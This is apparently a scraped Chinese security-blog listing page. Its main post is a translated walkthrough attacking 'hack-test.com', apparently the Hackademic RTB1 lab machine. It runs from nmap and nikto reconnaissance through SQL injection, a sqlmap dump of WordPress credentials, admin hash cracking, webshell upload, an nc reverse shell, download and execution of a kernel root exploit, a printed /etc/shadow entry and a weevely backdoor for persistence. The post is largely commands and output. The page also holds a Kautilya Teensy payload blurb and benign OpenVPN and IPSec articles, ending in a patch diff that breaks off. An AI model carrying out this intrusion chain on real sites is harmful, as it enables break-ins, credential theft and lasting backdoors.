分类 展示类 下的文章

微型设备(Teensy)渗透测试脚本集Kautilya

Kautilya

Kautilya是一个面向微型设备(Teensy)的渗透测试的工具集。这个工具集提供了很多有用的负载和模块,功能包括下载、执行、键盘记录、密码hash抓取等,可以帮助你做好渗透测试。Kautilya在Windows7,Ubuntu11和Mac OS X Lion下测试通过。

下载地址

国外黑客们的入侵网站思路

问题的答案看起来不那么确定,显而易见的是黑掉一个站点有很多种方法。在这篇文章,我们的目标是要给大家展示一下黑客是如何锁定并黑掉一个目标站点的!

让我们来看看目标站点:hack-test.com

hack

先ping下站点所在服务器的IP:

hack

现在我们有了目标站点所在服务器的IP了 — 173.236.138.113

然后我们可以找找同个IP上的其他站点(旁站:sameip.org):

hack

Same IP   26 sites hosted on IP Address 173.236.138.113

ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net sportforum.net
3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com
22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com

总计有26个站点在[173.236.138.113]这台服务器上。为了黑掉目标站点,许多黑客会把目标站点同服的其他站点也划入攻击范围内。但是出于学习的目的,我们今天暂且将其他站点放在一边。

我们需要更多关于目标站点的信息(Ps:笔者认为在渗透测试过程中,这比实施测试的环节来得重要得多。),他们包括:

1.DNS记录(A,NS,TXT,MX)

2.WEB服务类型(IIS,APACHE,TOMCAT)

3.域名注册者的信息(所持有域名公司等)

4.目标站点管理员(相关人员)的姓名,电话,邮箱和住址等

5.目标站点所支持的脚本类型(PHP,ASP,JSP,ASP.net,CFM)

6.目标站点的操作系统(UNIX,LINUX,WINDOWS,SOLARIS)

7.目标站点开放的端口

让我们先来查询相关DNS记录吧,这里用的是 who.is:

hack

目标站点DNS记录信息:

Record Type TTL Priority Content
hack-test.com A 4 hours 173.236.138.113 ()
hack-test.com SOA 4 hours ns1.dreamhost.com. hostmaster.dreamhost.com. 2011032301 15283 1800 1814400 14400
hack-test.com NS 4 hours ns1.dreamhost.com
hack-test.com NS 4 hours ns3.dreamhost.com
hack-test.com NS 4 hours ns2.dreamhost.com
www.hack-test.com A 4 hours 173.236.138.113 ()

同时确认WEB服务的类型:

hack

显而易见是Apache ,稍后我们将确定其版本:

HACK-TEST.COM SITE INFORMATION

IP: 173.236.138.113

Website Status: active

Server Type: Apache

Alexa Trend/Rank:  1 Month: 3,213,968    3 Month: 2,161,753 Page Views per Visit:  1 Month: 2.0    3 Month: 3.7

现在是时候来查询目标站点持有人(也许可能就是管理员)信息了:

hack

现在我们有了管理员的一些相关信息了,祭出Backtrack5中的神器 Whatweb 来确认操作系统和WEB服务版本信息:

h

hack

Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server.

现在我们知道,目标站点使用了用PHP编写的非常出名的开源博客系统WordPress,并且是跑在Fedora的Linux发行版上的,Apache版本是2.2.15。接下来让我们看看目标站点服务器开了哪些端口:

祭出神器Nmap

1 – 获取目标服务器开放的服务

root@bt:/# nmap -sV hack-test.com
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

2 – 获取目标服务器操作系统

root@bt:/# nmap -O hack-test.com 

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh 

80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hop 

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

啊哦!~只开了80,而且是 Fedora Core 6 Linux内核版本为2.6.22

现在我们已经收集了很多关于目标站点的重要信息了。让我们扫扫他的漏洞吧。(Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF,等等.)

让我们先试试 Nakto.pl 来扫扫,没准能搞出点漏洞来

root@bt:/pentest/web/nikto# perl nikto.pl -h http://hack-test.com
- Nikto v2.1.4
—————————————————————————
+ Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03
—————————————————————————
+ Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host + End Time: 2011-12-29 06:50:37 (34 seconds)
—————————————————————————

hack

同时试试Wa3f(Ps:哦哇谱死的开源项目,很不错的说~)

root@bt:/pentest/web/w3af# ./w3af_gui 

Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0 

w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.

hack

图形界面的扫描方式,写入URL即可。

hack

用以前给杂志社投稿的语气说,泡杯茶的功夫,等待扫描结束并查看结果。

hack

你可以看到很多漏洞信息鸟~先试试SQL注入。

hack

url – http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220 然后 Exploit it!

hack

发现其他漏洞测试失败,用SQLMap进行脱裤吧(猜解数据库并保存目标站点相关信息到本地)  Dump it!

sqlmap -u url

hack

过一小会儿能见到如下信息

hack

按n并回车后你可以看到

hack

哦也~显错方式的注入点,而且爆出的 Mysql的版本信息

用sqlmap取得所有库,参数 -dbs
hack

找到三个库

hack

查Wordpress的库中所有表,参数 -D wordpress -tables

hack

然后是列名(这里需要你自己熟悉敏感信息存在哪个表中呢),参数 -T wp_users -columns

hack

22个字段(列)

hack

然后查数据,参数 -C user_login,user_pass –dump

hack

然后解密管理员的hash,这里用的是 http://www.onlinehashcrack.com/free-hash-reverse.php

hack

明文密码是q1w2e3(和csdn库的密码排行榜有得一拼,哈哈~),然后登入后台拿webshell了。

hack

Get in!~

hack

来传个PHP的webshell吧~这里用的编辑插件拿shell的方法(见我以前写的tips,方法有很多哦~)

hack

hack

牛b。保存就可以了。然后访问就可以看到可爱的webshell了。

hack

灰阔都知道,接下来要提权了。用反弹来获取一个交互式的shell。

hack

本地用nc监听(不得不说经典就是经典啊~)

hack

连上之后

hack

输点Linux命令试试火候

id uid=48(apache) gid=489(apache) groups=489(apache)

pwd /var/www/html/Hackademic_RTB1/wp-content/plugins

uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux

hack

命令作用我就不翻译了。获取了内核版本,我们可以到 exploit-db.com 来寻找相关的exp进行权限的提升。

老外都是用wget下载的,国内灰阔们呢?

wget http://www.exploit-db.com/download/15285 -O roro.c
--2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285
Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.exploit-db.com/download/15285/ [following]
--2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7154 (7.0K) [application/txt]
Saving to: `roro.c' 

0K ...... 100% 29.7K=0.2s

hack
代码我不贴了。用gcc编译exp gcc roro.c -o roro ,编译并且执行exp。

./roro 

[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...

淡定,敲个id试试,你可以发现 root it!

hack

现在可以查看shadow和passwd了~(我只截了部分)

cat /etc/shadow
root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::

我们可以使用 John the ripper 来破哈希。但是我们不会这么做,通常我们会留下一个后门(权限巩固),这样就可以随时涂掉他首页了(hv a joke.)。

我们用bt5中的weevely来上传一个带密码保护的PHP的webshell。

1 – weevely的相关选项

root@bt:/pentest/backdoors/web/weevely# ./main.py - 

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/ 

Usage: main.py [options] 

Options:
-h, --help show this help message and exit
-g, --generate Generate backdoor crypted code, requires -o and -p .
-o OUTPUT, --output=OUTPUT
Output filename for generated backdoor .
-c COMMAND, --command=COMMAND
Execute a single command and exit, requires -u and -p
.
-t, --terminal Start a terminal-like session, requires -u and -p .
-C CLUSTER, --cluster=CLUSTER
Start in cluster mode reading items from the give
file, in the form 'label,url,password' where label is
optional.
-p PASSWORD, --password=PASSWORD
Password of the encrypted backdoor . 

-u URL, --url=URL Remote backdoor URL .

2 – 用它来创建一个PHP的webshell

 root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko 

Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/ 

+ Backdoor file 'hax.php' created with password 'koko'.

hack
3 – 上传

hack

我们现在可以用weevely连接并操控他了。

hack

测试(其实就相当于一句话马差不多的..)

hack

91ri.org评:老外的行文方式还不错,很好的渗透流程,很标准的科普文~~顺便补充 虽然我对文中wordperss能有sql注射表示费解 因为暂时极少听说存在sql注射(插件除外) 不过应该还是有版本存在的 这个不能说没有。毕竟人写的东西总是会有疏漏的。本文仅仅是为了给大家拓宽思路 希望大家喜欢!

关于OpenVPN文章的目录

本文对前面的关于OpenVPN的文章做一个总结,分了几个类别,也方便自己以后查阅和更正。

一.基本理论篇

1. vpn原理及实现--一般理论

2. vpn原理及实现--隧道的一种实现

3. vpn原理及实现--虚拟网卡构建vpn

4. vpn原理及实现--tcp还是udp

5. Linux平台VPN技术概论

6. Linux平台VPN技术概论(续)

7. VPN技术漫谈之IPSec(附MPLS)

8. TCP封装的隧道对于拥塞控制的意义

9. VPN的概念以及要点

10. SSL VPN和IPSec VPN的区别以及部署

二.基本编译配置篇

1. OpenVPN简易文档

2. OpenVPN-2.1.1在windows上的编译

3. Mac OS X上安装OpenVPN

4. OpenVPN碰到Windows-一些问题的解决

5. OpenVPN遇到的Secondary地址问题

三.源码分析篇

1. OpenVPN的广播问题以及tun和tap设备的深层次挖掘

2. OpenVPN中虚拟ip地址的自定义分配

3. OpenVPN中虚拟ip地址的分配

4. OpenVPN 中虚拟ip地址的自定义分配--总结

5. OpenVPN的日志记录头

6. 使用OpenVPN时的问题--用源代码进行分析

7. OpenVPN关于push-peer-info的实现

四.协议篇

1. OpenVPN协议解析-网络结构之外

2. OpenVPN协议解析-握手数据包分析

3. OpenVPN协议解析-通道/状态机/Reliability层

五.高级路由篇

1. 使用OpenVPN的桥接模式扩展内部局域网

2. OpenVPN的高级路由技术-内部路由

3. OpenVPN高级路由技术-扩展成巨大的网络

4. OpenVPN高级路由技术-反向推送信息

5.  OpenVPN的包过滤机制

6.  OpenVPN高级路由技术-虚拟交换机和内部路由缓存

 

7. OpenVPN高级路由技术-全面的互通性配置

 

 

六.性能相关

1. OpenVPN的效率问题

2. OpenVPN性能-数据采集

3. OpenVPN性能-OpenVPN的第一个瓶颈在tun驱动

4. OpenVPN性能-OpenVPN的第二个瓶颈在ssl加解密

5. OpenVPN性能-当tap遇到bonding

6. OpenVPN性能-多OpenVPN共享一个虚拟网卡

七.功能实现

1. OpenVPN的新钩子设计

2. 让OpenVPN实现IKE似的两阶段密钥协商

3. 返璞归真实现OpenVPN第二阶段协商

4. 完全在用户态实现IPSec VPN

 

 

本文转自http://blog.csdn.net/dog250/article/details/6990814 感谢原作者的分享。

完全在用户态实现IPSec VPN

IPSec的复杂性之一在于它和内核协议栈实现高度相关,造成升级和管理的不便,如果能在用户态实现IPSec,那么所有的客户端就可以使用这种用户态的IPSec了。
需要特别注意的是,如果你拥有一台IPSec硬件网关,那么不考虑NAT穿越的情况下其实IPSec也是很不错的,IPSec的困难在于客户端,特别是PC上或者中等服务器上的客户端,如果使用用户态的IPSec,那么IPSec起码能和OpenVPN一样好,比OpenVPN好的就是能和IPsec对端进行无缝衔接。其次你要知道,IPSec分为两大部分,第一部分是密钥协商和安全认证相关的,这部分都是在用户态实现的,比如racoon。第二部分是封装协议,这部分一般都在内核实现,比如使用Netfilter,或者xfrm。
完全可以通过两个虚拟网卡来实现用户态的IPsec,这样IPSec的部署将简化很多,和内核协议栈彻底脱离干系。并且由于在用户态实现,IPSec使用的协议也会灵活很多,如果需要和远端的IPSec网关无缝衔接,那么必要的是实现IKE和ESP/AH等协议,IKE的开源实现已经很多了,那么需要做的仅仅是封装ESP/AH了。如果不需要兼容ESP/AH,那么完全可以实现自己的封装,甚至只用GRE或者IPIP封装都可以,当然,你可以自定义任何自己的协议,很方便,很灵活。然而如果使用自定义的协议,修改一边就不妥了,对端也要支持这个自定义的封装协议才行,有两个方式可用,第一就是在对端加载内核模块,使用内核的方式进行支持,在linux上无非就是注册一个协议而已,当然你也可以用netfilter实现;另外一种方案就是和客户端一样,也使用用户态的实现。
那么,到底如何实现呢?由于时间关系,我的代码只调通了一半,但是思路很清晰,那就是使用af_packet套接字直接写IP封装后的以太帧,IP上层用ESP封装。当然也可以使用raw套接字。不管怎么说,下面这个图应该可以表达一些信息:

用户态实现IPSec的要点有两点,其一是TUN虚拟网卡的活用,其二是af_packet/raw套接字的使用。

返璞归真实现OpenVPN第二阶段协商

1.背景介绍

听着《梦中的额吉》,《天堂》...女儿在睡觉...外面细雨...中秋小长假,完成自己的OpenVPN patch
编码中充满了快乐!前提是你知道自己在做什么!
OpenVPN不给力,虽然它给出了N多的Renegotiate选项,然则其实现却不尽人意。难道设计者以为我们众人就这么好忽悠吗?
OpenVPN实现重新密钥协商是极其重量级的,需要做以下几件事:
1.断开当前的SSL连接;
2.重新开始一次SSL连接,建立一次SSL session;
3.在重新生成的SSL加密信道上重新开始OpenVPN的密钥协商;
记住,不能单纯的理解这3个事件,是因为如果从底层看,底层的UDP连接(不考虑TCP的情况)并没有断开,需要理解的是,SSL协商和数据通道复用一个信道。这个过程之所以说是重量级的是因为1和2并不总是必要的,要知道SSL的目的有两点,第一是相互认证,确保客户端连接的是自己要连接的服务器,确保客户端有权接入VPN;第二是在协商出的SSL加密信道上协商OpenVPN的对称密钥。如果我们只是要保护VPN通信的内容,那么大可不必重复认证,也就是没有必要重新进行SSL握手。要知道,如果SSL加密信道可以被攻破,那么后续的通信将是不再安全的,幸运的是,SSL协议本身的完备性保证了SSL最终协商出的信道是安全的,否则SSL协议也不会这么流行,因此除非SSL本身的规范要求,在OpenVPN中,如果仅仅为了保证数据的机密性,SSL重协商是没有必要的。
这只是其一。任何伟大的事情,都有无数的先行者,或者说它本身就需要借鉴前辈的成果。我们可以考虑IKE,ISAKMP的规范,它明确规定了两个阶段的协商,为了效率,一般情况下,通信双方只需要进行第二阶段的重新协商,在IKE的规范中,第一阶段的协商所完成的工作和SSL握手完成的工作很类似(也许正好说反了,...我女儿长得和我很像,而不是我长得和我女儿很像!)。对称密钥由于密钥长度不够,算法相对简单,被暴破的可能性很大,因此应该不断重新协商对称密钥。在使用SSL协议的情况下有两种方式重新协商出对称密钥,第一种方式就是重新进行SSL握手,使用SSL最终协商出的那个对称密钥,第二就是在直接在SSL加密信道上协商新的对称密钥,这就使对称密钥的结果和SSL协议分离了,无疑这是一种效率更高且配置更灵活的方式,也许这也是对IKE/ISAKMP的一种呼应吧。
然而很可惜,OpenVPN并没有使用这种优雅的方式,每当OpenVPN需要重新协商,都要从新建SSL session开始!key_state_soft_reset这个函数并没有做到其名称所描述的那样soft,而实则是一种very hard的恶毒方式,因此需要改变这种方式!我对OpenVPN的已经关注超过两年了,由于工作需要,加之自己的兴趣,着手对之做个外科手术,手术很成功,以数据为证,效率有很大的提升。在学习的过程中,Internet对我帮助很大,Internet本身就是共享的,因此将patch献出,也希望共勉者完善之。本patch也以委托的方式提交到了OpenVPN的maillist,希望能在下个版本中见到它的身影,如果有朋友觉得有改进的地方,那就大胆的改进它,然后提交...这对于每一个开发人员都是一笔财富!

2.尝试修改

前文《让OpenVPN实现IKE似的两阶段密钥协商》,代码已然完成,然则不便公开,同时代码丑陋之极,无颜!总的来讲,那只是一次初期的预研,逻辑如下:

2.1.在S_ACTIVE之后定义新的状态码;

2.2.当需要进行第二阶段协商的时候,像client push一个字符串,将本地状态设置一个中间状态;

2.3.client端收到server端push下来的对应字符串之后,将本地状态设置为一个新定义的预协商状态,并且写入新的key协商消息,同时reply一个字符串;

2.4.server端收到client端reply的字符串之后,将本地状态设置为预协商的状态,读取key协商消息;

2.5.双方开始在以前的SSL加密信道上重新协商新的对称密钥;

2.6.最终,二者到达一个新的S_ACTIVE状态;

2.7.协商完成。

这个手术开始非常让我自豪,因为它有效的降低了传输延迟,然而经过后续的仔细测试,发现它引起了大量的丢包,使用ping进行的简单的测试就会发现丢包,因为echo reply的序号会有断续...这个结果极大的打击了我。
但是,我的选择只能是继续尝试其他的方法,否则我的努力将是前功尽弃...(腾格尔的《天堂》,从时间4:45开始的一段音乐很不错[哦...Belala...],我很喜欢)。我的push/pull/reply的想法并没有错啊,server端总是需要一种方式通知client需要重新协商了,这本身很合理,然而哪里错了?后来看代码,发现就算是硬协商,也就是重新开始SSL握手,标准的OpenVPN也是这么做的,所不同的是,标准的OpenVPN并没有使用push,而是发送了一个很特别的P_CONTROL_SOFT_RESET_V1消息,然后再在client端的tls_pre_decrypt函数中对其进行特殊的处理,从而进行正常的伪造的“SOFT”reset。
既然如果,我又何必出力不讨好,直接使用标准的实现不就可以了吗!
还好OpenVPN协议的定义很灵活,其op码为5位,最大可以有31个,现在才使用了8个,我扩展一个是很简单的事情啊。想到这里,再也忍不住了,先吸一根烟再说!(《梦中的额吉》在1:54时间开始一段音乐很不错,引发了更多的想法)

3.确定如何修改

当初的尝试之所以出现了丢包,那是因为我忽略了OpenVPN对session和key的管理。在OpenVPN中,为了实现在重新协商以及clilent断开中不丢包,业务数据传输不受影响的正常进行,OpenVPN设计了3个session和2个key state,在client断开重连时,server管理session,以至于正常连接成为可能,在重新协商密钥时,server端管理key state,从而平滑过渡到新的密钥。
因此,如果不吃透OpenVPN复杂的协议处理,实现第二阶段的协商是没戏的。我的做法是,先动手再说,先修改掉代码再慢慢测试排错,我觉得程序员就应该这样,毕竟我们不是研究院的专家有那么多的时间和经费。具体实现见第4节。

实现了之后,测试,效果良好,先给出数据,先看一个ping的结果,测试中为了比较重新协商SSL和仅仅重新协商对称密钥,我使用了常数4秒,测试原生OpenVPN时,使用reneg-sec 4参数,而测试我修改过的OpenVPN时,使用reneg-second参数,首先看一下没有修改的原生的OpenVPN的ping结果:

可以看出,每隔4秒左右,就会出现一次时延非常大的抖动,再看看我做过手术的OpenVPN的结果:

可以看到,抖动虽然还有,但是平缓了很多。仅仅通过ping还不足以看出个究竟,那么我们看看tcp传输的丢包重传统计值:

 

结果几乎是肯定的,当然TCP协议是复杂的,不能单纯从丢包或者重传来判断,正好比,有一条比较超豪华的高速公路,其事故率并不比国道少的原因一样(不得不说的插曲:TCP重传可能是由于其拥塞避免阀值设置得过高所导致,或者由于其拥塞控制算法过于自私所导致,然而可悲的是,很多人都认为重传越多,网络状况越差!这样的人不在少数,还总是用什么业务逻辑之类词汇将真理打发)

4.最终的补丁

起初我想直接提交这个补丁,但是由于Unix邮箱环境坏了,web邮箱提交patch有存在编码问题,因此采用了委托的方式,希望社区的家伙能帮我这个忙,至于作者是谁是无所谓的,Internet上的作者大多是虚拟的,像dog250之类的,呵呵~~。
最终的补丁其实很简单,之所以称为返璞归真,是因为OpenVPN本身做的就很好,其协议的操作码预留了5位的空间,而它仅仅用了不到8个,这就是值得欣慰的事情,这意味着我们只需要增加一个操作码就能实现额外的功能,对于第二阶段协商来讲,用这个方法实现再好不过了,补丁如下,如果有谁索要常规编码的补丁,请发邮件(不要为补丁所迷惑,后面有解释):

TO everyone.As we know,IKE takes only phase II to consult the final KEY IF WE DO NOT CARE ABOUT THE RESULT ABOUT RE-AUTJENTICATION in the special condition.This idea is very true especially if we use SSL protocol because of the secure test in very bitter surrounding. The SSL protocol can ensure the security of the whole vitrual line after the entire handshack.
OpenVPN use the protocol of itself not only SSL.Its channel is build on its protocol of itself.Thus if somebody crack the SSL key, (S)HE must take sometime that may be long to crack the OpenVPN channel key. AS THE RESULT,WE CAN ONLY TO Renegotiate ITS CHANNEL KEY NOT THE WHOLE SSL SESSION.
Unfortunately,as we show,OpenVPN takes a pool way to renegotiate the new key, not only the channel key but also the SSL record protocol key.
This patch rework the whole thing.Its only take the phase II to renegotiate the channel key.
*****************************************************************************

diff -uNr openvpn-2.2.1/options.c openvpn-2.2.1_my/options.c

--- openvpn-2.2.1/options.c    2011-09-09 16:25:49.000000000 +0800
+++ openvpn-2.2.1_my/options.c    2011-09-09 17:12:03.000000000 +0800
@@ -668,6 +668,7 @@
"--show-pkcs11-ids provider [cert_private] : Show PKCS#11 available ids.\n"
"                                            --verb option can be added *BEFORE* this.\n"
 #endif                /* ENABLE_PKCS11 */
+    "--reneg-second     sec     :xxx"
;

 #endif /* !ENABLE_SMALL */
@@ -3544,6 +3545,7 @@
int msglevel_fc = msglevel_forward_compatible (options, msglevel);

ASSERT (MAX_PARMS >= 5);
+    reneg_sec_time = 0;
if (!file)
{
file = "[CMD-LINE]";
@@ -5781,6 +5783,10 @@
VERIFY_PERMISSION (OPT_P_GENERAL);
options->crl_file = p[1];
}
+    else if (streq (p[0], "reneg-second") && p[1]) {
+         reneg_sec_time = atoi(p[1]);
+    }
+
else if (streq (p[0], "tls-verify") && p[1])
{
VERIFY_PERMISSION (OPT_P_SCRIPT);
diff -uNr openvpn-2.2.1/ssl.c openvpn-2.2.1_my/ssl.c
--- openvpn-2.2.1/ssl.c    2011-09-09 16:25:49.000000000 +0800
+++ openvpn-2.2.1_my/ssl.c    2011-09-09 17:16:28.000000000 +0800
@@ -2329,6 +2329,7 @@
* to/from memory BIOs.
*/
CLEAR (*ks);
+  session->ks_size = KS_SIZE;

ks->ssl = SSL_new (session->opt->ssl_ctx);
if (!ks->ssl)
@@ -2469,6 +2470,7 @@
dmsg (D_TLS_DEBUG, "TLS: tls_session_init: entry");

CLEAR (*session);
+  multi->tm_size = TM_SIZE;

/* Set options data to point to parent's option structure */
session->opt = &multi->opt;
@@ -2520,7 +2522,7 @@
if (session->tls_auth.packet_id)
packet_id_free (session->tls_auth.packet_id);

-  for (i = 0; i < KS_SIZE; ++i)
+  for (i = 0; i < session->ks_size; ++i)
key_state_free (&session->key[i], false);

if (session->common_name)
@@ -2725,8 +2727,8 @@

cert_hash_free (multi->locked_cert_hash_set);

-  for (i = 0; i < TM_SIZE; ++i)
-    tls_session_free (&multi->session[i], false);
+  for (i = 0; i < multi->tm_size; ++i)
+      tls_session_free (&multi->session[i], false);

if (clear)
CLEAR (*multi);
@@ -3256,6 +3258,26 @@
ks->remote_addr = ks_lame->remote_addr;
}

+void
+key_state_soft_reset2(struct tls_session *session, struct tls_multi *multi)
+{
+  update_time ();
+  ks->must_die = now + session->opt->transition_window; /* remaining lifetime of old key */
+  *ks_lame = *ks;
+  session->ks_size = 1;
+  multi->tm_size = 1;
+
+  session->initial_opcode = P_CONTROL_SOFT_RESET_SECOND;
+  ks->initial_opcode = session->initial_opcode;
+  ks->key_id = session->key_id;
+  ++session->key_id;
+  session->key_id &= P_KEY_ID_MASK;
+  if (!session->key_id)
+      session->key_id = 1;
+  ks->state = S_K;
+  ks->session_id_remote = ks_lame->session_id_remote;
+  ks->remote_addr = ks_lame->remote_addr;
+}
/*
  * Read/write strings from/to a struct buffer with a u16 length prefix.
  */
@@ -4039,6 +4061,16 @@
ks->n_packets, session->opt->renegotiate_packets);
key_state_soft_reset (session);
}
+
+    if (((ks->state == S_ACTIVE) || (ks->state == S_NORMAL_OP)) &&
+          reneg_sec_time &&
+          (now >= ks->reneg_base + reneg_sec_time) &&
+           session->opt->server) {
+        ks->reneg_base = now;
+        key_state_soft_reset2 (session, multi);
+
+    }
+

/* Kill lame duck key transition_window seconds after primary key negotiation */
if (lame_duck_must_die (session, wakeup)) {
@@ -4069,7 +4101,7 @@
if (true)
{
/* Initial handshake */
-      if (ks->state == S_INITIAL)
+      if (ks->state == S_INITIAL || ks->state == S_K)
{
buf = reliable_get_buf_output_sequenced (ks->send_reliable);
if (buf)
@@ -4082,6 +4114,8 @@
INCR_GENERATED;

ks->state = S_PRE_START;
+            if (ks->state == S_K)
+                ks->state = S_START;
state_change = true;
dmsg (D_TLS_DEBUG, "TLS: Initial Handshake, sid=%s",
session_id_print (&session->session_id, &gc));
@@ -4118,7 +4152,7 @@
}

/* Wait for Initial Handshake ACK */
-      if (ks->state == S_PRE_START && FULL_SYNC)
+      if ((ks->state == S_PRE_START || ks->state == S_K) && FULL_SYNC)
{
ks->state = S_START;
state_change = true;
@@ -4131,7 +4165,9 @@
{
if (FULL_SYNC)
{
+
ks->established = now;
+          ks->reneg_base = now;
dmsg (D_TLS_DEBUG_MED, "STATE S_ACTIVE");
if (check_debug_level (D_HANDSHAKE))
print_details (ks->ssl, "Control Channel:");
@@ -4366,6 +4402,9 @@
if (ks->established && session->opt->renegotiate_seconds)
compute_earliest_wakeup (wakeup,
ks->established + session->opt->renegotiate_seconds - now);
+    if (ks->reneg_base && reneg_sec_time)
+      compute_earliest_wakeup (wakeup,
+        ks->reneg_base + reneg_sec_time - now);

/* prevent event-loop spinning by setting minimum wakeup of 1 second */
if (*wakeup <= 0)
@@ -4894,13 +4933,25 @@
dmsg (D_TLS_DEBUG,
"TLS: received P_CONTROL_SOFT_RESET_V1 s=%d sid=%s",
i, session_id_print (&sid, &gc));
+        } else
+          if (op == P_CONTROL_SOFT_RESET_SECOND
+          && DECRYPT_KEY_ENABLED (multi, ks))
+        {
+          if (!read_control_auth (buf, &session->tls_auth, from)) {
+            goto error;
+            }
+          key_state_soft_reset2 (session, multi);
+
+          dmsg (D_TLS_DEBUG,
+               "TLS: received P_CONTROL_SOFT_RESET_V1 s=%d sid=%s",
+               i, session_id_print (&sid, &gc));
}
else
{
/*
            * Remote responding to our key renegotiation request?
            */
-          if (op == P_CONTROL_SOFT_RESET_V1)
+          if (op == P_CONTROL_SOFT_RESET_V1 || op == P_CONTROL_SOFT_RESET_SECOND)
do_burst = true;

if (!read_control_auth (buf, &session->tls_auth, from))
diff -uNr openvpn-2.2.1/ssl.h openvpn-2.2.1_my/ssl.h
--- openvpn-2.2.1/ssl.h    2011-09-09 16:25:49.000000000 +0800
+++ openvpn-2.2.1_my/ssl.h    2011-09-09 17:19:26.000000000 +0800
@@ -210,6 +210,7 @@
 #define P_CONTROL_SOFT_RESET_V1        3     /* new key, graceful transition from old to new key */
 #define P_CONTROL_V1                   4     /* control channel packet (usually TLS ciphertext) */
 #define P_ACK_V1                       5     /* acknowledgement for packets received */
+#define P_CONTROL_SOFT_RESET_SECOND      9     /* new key, graceful transition from old to new key */
 #define P_DATA_V1                      6     /* data channel packet */

/* indicates key_method >= 2 */
@@ -218,18 +219,25 @@

/* define the range of legal opcodes */
 #define P_FIRST_OPCODE                 1
-#define P_LAST_OPCODE                  8
+#define P_LAST_OPCODE                  10

/* key negotiation states */
 #define S_ERROR          -1
 #define S_UNDEF           0
 #define S_INITIAL         1    /* tls_init() was called */
 #define S_PRE_START       2    /* waiting for initial reset & acknowledgement */
-#define S_START           3    /* ready to exchange keys */
-#define S_SENT_KEY        4    /* client does S_SENT_KEY -> S_GOT_KEY */
-#define S_GOT_KEY         5    /* server does S_GOT_KEY -> S_SENT_KEY */
